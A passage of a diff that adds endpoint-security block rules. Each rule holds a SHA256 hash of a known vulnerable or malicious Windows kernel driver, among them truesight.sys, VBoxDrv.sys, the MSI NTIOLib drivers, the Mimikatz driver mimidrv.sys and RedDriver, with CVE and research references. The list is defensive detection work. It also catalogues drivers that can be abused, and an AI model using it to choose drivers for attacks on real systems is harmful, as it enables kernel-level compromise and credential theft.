+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a6274886-f7fb-54eb-b526-75efc4de47b2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160257Z",
+  "creation_date": "2026-03-23T11:45:31.160259Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160264Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19df9b27dee18537afd1367f3c6eef1d230faa240b4855e856c37d3901a39aca",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a627b995-c62d-5876-9a7b-289c1940c199",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974281Z",
+  "creation_date": "2026-03-23T11:45:29.974283Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974289Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd54115ef08b107691425e4c0bf94dc0ae7c522fba60a0ce3f574ebf4f5dbc5a",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a6374395-1056-51d6-933a-106cdaf69573",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160403Z",
+  "creation_date": "2026-03-23T11:45:31.160405Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160411Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "02190b5e96bad0a78fe6bc6f13a942bde1a96536693b3cea40082c0f1cfa45eb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a6417a56-214e-538b-94b0-510530928d41",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615572Z",
+  "creation_date": "2026-03-23T11:45:29.615574Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615579Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5dfb950d4771c35f4f82626b5d8859cce74bf03db67f2be3036631894a62eca8",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a642bf80-0921-55fe-807d-37394983ed61",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157222Z",
+  "creation_date": "2026-03-23T11:45:31.157224Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157229Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "13be73dd4f1e2db2a4621119f30429438a2331c5c7e1a07bf6f98ba96c16e069",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a647ebb2-66d0-5b95-b5eb-1e687e406b51",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143961Z",
+  "creation_date": "2026-03-23T11:45:32.143964Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143969Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "828c54cfecb2a08863319544ac716aee3898dfe78a87d7757a0e92f1b1f1daf1",
+  "comment": "Vulnerable Kernel Driver (aka CSC.sys) [https://www.loldrivers.io/drivers/1c92e1bf-103b-4545-b242-e5a9858ec9c8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a64c1161-3379-5369-8f72-ebdcc4708aa7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491320Z",
+  "creation_date": "2026-03-23T11:45:31.491323Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491330Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b625c7345f7a62e55948a916d0f6e6a9d8f836703a5d22f196b8b322e030596d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a658f3fe-1258-5534-bfd0-9cf13cfa6827",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812351Z",
+  "creation_date": "2026-03-23T11:45:31.812354Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812364Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2a4339bc237e6e415e6a754864933793d9397a1cd968b569d49c96ca141f599a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a65cb1b7-cc50-5908-9688-4f6c902816e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827265Z",
+  "creation_date": "2026-03-23T11:45:31.827269Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827277Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "58cb3c3716f8079ebed0ee562944bfde2d4aa80101f20fde64bf04359748da37",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a66a31b0-5be6-52de-ac8c-a35b0796bd25",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830320Z",
+  "creation_date": "2026-03-23T11:45:31.830323Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830331Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8f71ef083ea97d9d6592f47a57c52cc6957ba2f356fa2b122a9539ddac4623f6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a67209af-ad96-505e-be74-afa40c793bea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500548Z",
+  "creation_date": "2026-03-23T11:45:31.500552Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500560Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bb015d75e98e2633b848af2b60af346dcdc9c04f00826b231bfd8f6c1ed5a41b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a684e42b-479f-516c-86af-e32b3433738a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154111Z",
+  "creation_date": "2026-03-23T11:45:31.154113Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154118Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "294ef849be00f2170346427b820cb55e31dd56c968123f56cd7c9dc7943de849",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a69c2f15-320a-5da4-b433-0919232f9f51",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813896Z",
+  "creation_date": "2026-03-23T11:45:31.813898Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813903Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "032ae4119bbded768bf334d9148771b0fc07ae15bdc6e29999527895e7f63c4a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a6a9032e-4e8f-5e26-b152-167a54ad7a5c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.825072Z",
+  "creation_date": "2026-03-23T11:45:30.825076Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.825085Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7da3710a0de72e7c493716a4a017703494dbb5f13799b53bf5c105850a840575",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a6b04357-8f15-5494-bf90-6b81d57d0ae3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464788Z",
+  "creation_date": "2026-03-23T11:45:30.464791Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464799Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0aab2deae90717a8876d46d257401d265cf90a5db4c57706e4003c19eee33550",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a6b45b5c-1579-5fe1-97de-65978971e5ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492144Z",
+  "creation_date": "2026-03-23T11:45:31.492146Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492151Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4d49194d09db9c501d3b6d4f0b3a4703dfcfbde65038cbdb3c389e980114f1e6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a6bd9a47-cf8c-5369-b562-5e9ac79a86f5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976245Z",
+  "creation_date": "2026-03-23T11:45:29.976247Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976253Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "42b22faa489b5de936db33f12184f6233198bdf851a18264d31210207827ba25",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a6d1cf8b-e188-51fd-9bf6-a160e27bfd0e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469543Z",
+  "creation_date": "2026-03-23T11:45:30.469546Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469555Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "14d8ec21cc6bad738a8eef146506d04c64282bce01d9659e7f4dcdbff95e4c34",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a6da58d9-8184-5224-8fe8-0f654e48124d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811645Z",
+  "creation_date": "2026-03-23T11:45:31.811647Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811653Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a905284d68ba108446af0ea42c9a797dd8c2ba302b0ad89b2efc94a6b31029eb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a6e4547b-57ed-599e-bc88-ad766b5d8de9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827568Z",
+  "creation_date": "2026-03-23T11:45:31.827570Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827576Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e71eb48affb34a84f6126ff828227a5e14d8cea137237b317c1f9069d7d4bb3d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a6e72e07-b5d2-58b5-bae0-515da98d8af5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480842Z",
+  "creation_date": "2026-03-23T11:45:30.480846Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480854Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "797c1f883d90d25e7fd553624bb16bfd5db24c2658aa0c3c51c715d5833c10fd",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a6f9eb61-4d85-5d5b-8701-20dcc5defc3b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985961Z",
+  "creation_date": "2026-03-23T11:45:29.985963Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985968Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7a84703552ae032a0d1699a081e422ed6c958bbe56d5b41839c8bfa6395bee1d",
+  "comment": "Malicious Kernel Driver related to RedDriver (aka telephonuAfY.sys, spwizimgVT.sys, 834761775.sys, reddriver.sys, typelibdE.sys, NlsLexicons0024UvN.sys and ktmutil7ODM.sys) [https://blog.talosintelligence.com/undocumented-reddriver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
